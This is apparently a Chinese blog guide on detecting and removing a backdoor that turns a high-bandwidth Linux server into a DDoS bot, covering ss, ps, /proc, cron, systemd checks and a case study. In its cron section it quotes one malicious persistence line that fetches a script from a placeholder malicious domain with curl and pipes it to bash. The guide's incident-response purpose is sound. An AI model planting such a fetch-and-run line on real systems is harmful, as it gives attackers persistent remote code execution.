国内大带宽服务器被滥用发包?如何排查后门程序?
你有没有遇到过这种情况:明明业务没涨,服务器的带宽监控图却像心电图一样拉成了一条直线,而且还是满的那条。你登录服务器,发现网卡上传流量大到离谱,几十兆甚至上百兆的带宽被吃得干干净净。打电话给机房,对方说你这台机器在“疯狂对外发包”,已经涉嫌DDoS攻击别人,如果再不管,就要被拔线封IP了。
这时候你是什么感觉?委屈、愤怒、迷茫,可能都有。
我认识一个做游戏私服的朋友老周,他的服务器托管在国内某大带宽机房——带宽大、价格实惠、防护也还行。有一天凌晨三点,他被机房值班电话吵醒,说他的服务器正在对外发起UDP洪水攻击,目标是一个海外IP,攻击流量跑到了600多兆。老周当时就懵了:“我服务器上就跑着几个游戏区,哪来的攻击?”
事后我们复盘发现,他的服务器早在一个月前就被植入了后门程序,一直潜伏着,直到攻击者激活了这批“肉鸡”,老周才知道自己成了帮凶。大带宽服务器,恰恰是黑客最喜欢的“肉鸡”候选——带宽大,发包猛,打人疼。
今天这篇文章,我就结合自己真实的排查经历,跟大家聊聊,当你怀疑国内大带宽服务器被植入后门并用于恶意发包时,到底该怎么一步步把“内鬼”揪出来。
一、先别慌,判断是不是真的有“鬼”
很多运维朋友一看到带宽跑满,第一反应就是“被攻击了”。但其实你得分清楚:是别人在打你,还是你在打别人?
如果是别人在打你,流量是入向的(下载方向),你看到的是带宽“被占满”,但你自己的网络连接工具比如netstat或者nload显示的主要是下行流量。这时候你的服务器大概率是被DDoS攻击了,需要靠高防来清洗。
但如果是你的服务器在对外发包,流量是出向的(上传方向),也就是你的服务器变成了攻击别人的武器。这时候你的防火墙或者机房监控会显示上行带宽严重超标。如果你发现自己服务器上有大量发往国外IP的SYN包、UDP包,或者连接状态里出现大量的SYN_SENT,那基本就可以确认:后门程序已经在你机器里住下了。
老周当时的情况就是典型的后者。他用iftop一看,好家伙,全是发往一个陌生IP的UDP包,端口随机变化,标准的UDP Flood特征。那一刻他才确信,服务器已经被人“偷”了。
二、第一板斧:揪出发包的真凶进程
当你确定服务器在对外发包之后,第一步不是重启,也不是重装,而是找到到底是哪个进程在干坏事。因为重装虽然能解决问题,但如果不搞清入侵途径,同样的漏洞没堵上,两天后后门又会回来。
用ss命令找出异常网络连接
在Linux系统里,最直接的排查工具就是ss命令。ss比老旧的netstat快得多,信息也更全。
登录服务器,执行:
ss -tulnp
或者更详细一点,看所有TCP和UDP连接:
ss -antup
这个命令会列出当前服务器上的所有网络连接,包括监听端口和已经建立的连接。你重点关注这几个地方:
第一,非标准端口上监听的进程。 如果你的业务只用了80、443、22、3306这几个端口,结果看到有个进程在3333端口上监听,或者有个进程监听在0.0.0.0:9999上,那它十有八九有问题。
第二,大量ESTABLISHED连接指向同一个外部IP。 如果看到你的服务器和某个你不认识的IP建立了大量连接,而且这些连接的状态是ESTABLISHED(活跃的),那很可能就是这个进程在持续向外“汇报”或者“攻击”。
第三,连接状态异常。 比如大量的SYN_SENT,说明这个进程正在主动发起连接,而且对方可能没回应或者被拦截了。这往往是SYN Flood攻击的特征。
看到可疑的连接之后,记下它的PID(进程ID),然后我们顺藤摸瓜。
用ps和top锁定恶意进程
拿到PID之后,下一步就是看这个进程到底是什么妖魔鬼怪。
先执行:
ps auxf
auxf参数里的f很重要,它会用树形结构显示进程,能让你清楚地看到父子关系。一个正常的Web服务进程,父进程应该是nginx或者httpd。但如果你看到一个名字看起来像系统进程的东西,比如[kworker]、[kthreadd],父进程却是sshd或者直接是1(systemd),那就有问题。
更可疑的是,很多后门程序会给自己起一个“人畜无害”的名字,比如[kworkerds]、sysupdate、netd,混在系统进程里鱼目混珠。你用ps可能看不到它,因为它做了进程隐藏,但用top看CPU和内存占用排名的时候,它就会原形毕露。
查到可疑进程之后,用下面这个命令找到它对应的可执行文件:
ls -la /proc/[PID]/exe
这个命令会告诉你,这个进程是从硬盘上的哪个文件启动的。你会发现路径往往不在正常目录里,比如在/tmp、/dev/shm、/var/tmp下面,或者在一个名字像.开头的隐藏文件夹里。
三、第二板斧:断掉后门的“口粮”和“脐带”
找到了恶意进程和它对应的文件之后,理论上你应该直接把它杀了。但等等,别急。很多后门程序都有“守护进程”机制,也就是所谓的“看门狗”。
啥意思呢?你看似杀掉了一个进程,但几秒钟之后它又自动复活了。这是因为系统里还藏着它的“双胞胎兄弟”,一直在监视着它。所以,在动手清除之前,你得先搞清楚这个后门是怎么做到“死而复生”的。
排查定时任务Cron
后门程序最常用的持久化手段就是定时任务。攻击者会在你的系统里塞一条Cron记录,每隔几分钟就去下载一次恶意脚本或者重新启动恶意进程。
排查顺序是这样的:
先用crontab -l看当前用户的定时任务。但很多恶意定时任务藏在系统级别的Cron目录里,你必须手动检查这些地方:
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /var/spool/cron/
在这些目录里,你可能会发现一些名字看起来很正常但内容很可疑的文件,比如sysupdate、systemd-sync之类的。打开一看,里面写的是:
*/5 * * * * root curl -s http://恶意域名/shell.sh | bash
或者直接执行某个存放在/tmp目录下的脚本。
这就是后门的“复活点”。只要这条任务存在,你杀了进程它也会复活。
排查开机自启服务
除了定时任务,攻击者还会把自己的恶意程序注册成系统服务,这样服务器一重启就自动运行。
用这个命令查看所有开机自启的服务:
systemctl list-unit-files --type=service | grep enabled
然后一个个看,重点关注那些名字看起来像系统服务但实际上指向奇怪路径的。你可以用下面这个命令检查具体的服务定义文件:
systemctl cat [服务名]
看看ExecStart=这一行后面跟的是什么程序。如果指向的是/tmp或者/dev/shm里的文件,那基本可以确定是后门。
还有一种更隐蔽的方式,攻击者会修改系统的rc.local文件,或者在/etc/profile.d/里面放脚本,在用户登录时触发。这些地方也得顺手检查一下。
四、第三板斧:如果杀不掉,试试终极手段
有时候你会发现,即使你删了定时任务、杀了进程、删了文件,过一会儿它又回来了。或者你用ls看不到那个文件,但进程还在跑。这时候该怎么办?
第一种情况:进程隐藏了文件。 有些高级Rootkit会挂钩系统调用,让你用ls看不到恶意文件。这时候你可以尝试用find命令直接按时间查找最近修改的可执行文件:
find / -type f -executable -mtime -3 2>/dev/null
这条命令会列出最近3天内被修改过的可执行文件,你仔细看看有没有哪个在/tmp、/var/tmp、/dev/shm、/var/run这些临时目录下的可疑文件。
第二种情况:内存级别的后门。 有些恶意代码不落地,直接注入到系统进程或者Apache、Nginx这些合法进程的内存里。这时候你光查硬盘文件是查不到的。你可以尝试重启那个被注入的服务,有时候能把它“震”出来。但如果是在内核层面做了手脚,那就只能重装系统了。
第三种情况:实在搞不定,隔离! 如果你的业务不允许你长时间折腾,或者你发现服务器上已经有多个后门互相守护,最干脆的办法就是:备份数据、重装系统、重新部署。但重装之前一定要搞明白攻击者是怎么进来的,把漏洞堵上,否则换个干净系统一样会被再次渗透。
五、真实案例复盘:一场持续三个小时的揪鬼行动
回到老周的案例。当时我们排查的具体过程是这样的:
第一步,用iftop -i eth0看到服务器的上行流量全部指向一个IP 194.xx.xx.xx,端口不固定,UDP包为主。确认是服务器在对外攻击。
第二步,用ss -antup发现有大量ESTABLISHED连接指向这个IP,对应的进程PID是 8873。进程名字叫[kworker],但在/proc/8873/exe下一看,指向的文件是/usr/lib/.systemd/updated。这个目录完全不在正常的系统路径里。
第三步,用ps auxf看进程树,发现这个updated进程的父进程是/bin/bash,但启动这个bash的却是sshd,说明攻击者可能是通过SSH进来的。
第四步,排查定时任务。在/etc/cron.d/目录下发现了一个叫0systemd的文件,内容写的是每5分钟执行一次/usr/lib/.systemd/sync.sh。打开那个sync.sh脚本,发现它会检查updated进程还在不在,不在就从远程重新下载。
第五步,排查开机自启。用systemctl发现了一个叫security-daemon.service的恶意服务,关联的正好是/usr/lib/.systemd/updated。
第六步,按顺序清除:先systemctl disable并stop恶意服务,再删除/etc/cron.d/0systemd,然后kill掉那个8873进程,最后删除/usr/lib/.systemd/这个隐藏目录。检查SSH登录日志/var/log/secure,发现最近有从某个IP成功登录的root记录——明显是弱口令被爆了。
第七步,改掉所有用户的密码,禁用root远程登录,只允许密钥登录。最后重启服务器,观察半小时,带宽恢复正常,没有再对外发包。
整个排查过程花了将近三个小时,但好在最后把问题彻底解决了。
总结
国内大带宽服务器被植入后门用来对外发包,这不是什么小概率事件。黑客专门盯着带宽大的机器下手,因为攻击效果最好。你的服务器一旦被当成肉鸡,轻则带宽跑满业务中断,重则被机房封IP、列入黑名单,甚至收到投诉和法律责任追究。
回过头来看,排查这类问题其实有章可循,核心思路就是三步:
第一步,定位网络连接。用ss和lsof找到是谁在对外疯狂发包,记录下PID和外部IP。
第二步,分析恶意进程。用ps和ls /proc/[PID]/exe找到恶意文件的位置,判断进程的性质。
第三步,切断持久化机制。排查crontab、系统服务、rc.local等自启动位置,清除看门狗程序,防止死灰复燃。
当然,最好的办法不是等被黑了再去查,而是提前做好预防。加强SSH安全(禁用密码、改端口、使用密钥登录)、定期更新系统补丁、部署主机入侵检测工具、限制出站流量,这些都是把钱花在刀刃上的防护措施。
如果你的国内大带宽服务器目前还在“裸奔”状态,或者很久没有做过安全检查了,不妨今天就登录上去看看,查查定时任务、看看有没有陌生进程。等到带宽飙红、机房打电话来的那一刻,那就有点被动了。


